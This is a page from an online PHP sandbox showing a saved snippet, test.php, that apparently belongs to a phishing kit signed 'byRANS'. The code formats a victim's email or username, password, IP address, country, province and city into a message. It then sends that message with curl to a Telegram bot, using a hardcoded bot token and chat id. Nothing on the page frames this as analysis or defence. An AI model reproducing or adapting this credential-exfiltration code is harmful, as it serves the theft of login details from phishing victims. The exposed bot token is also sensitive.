test - PHP Online
Form of PHP Sandbox
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of test.php
- <?php
- $urlnya="https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]/sigerrr.txt";
- $token='2061923472:AAHLHDscmCd5WS00g5ETw-DHLw8jzimKuvg';
- $chatid='1670422847'; // ganti chat id
- $pesan=urlencode("
- \n=========(sc byRANS)=========\n
- Ganteng Izin Kirim Result hari ini $tgl PART 1\n
- Username/ Email : $email \n
- Passwrod : $pass \n
- ========= INFO IP : $ip \n
- Negara : $c \n
- Provinsi : $b \n
- Kota : $a \n
- Jam Masuk : $tgl \n
- URL : $urlnya \n
- \n=========(sc byRANS)=========");
- $API = "https://api.telegram.org/bot".$token."/sendmessage?chat_id=".$chatid."&text=$pesan";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
- curl_setopt($ch, CURLOPT_URL, $API);
- $result = curl_exec($ch);
- curl_close($ch);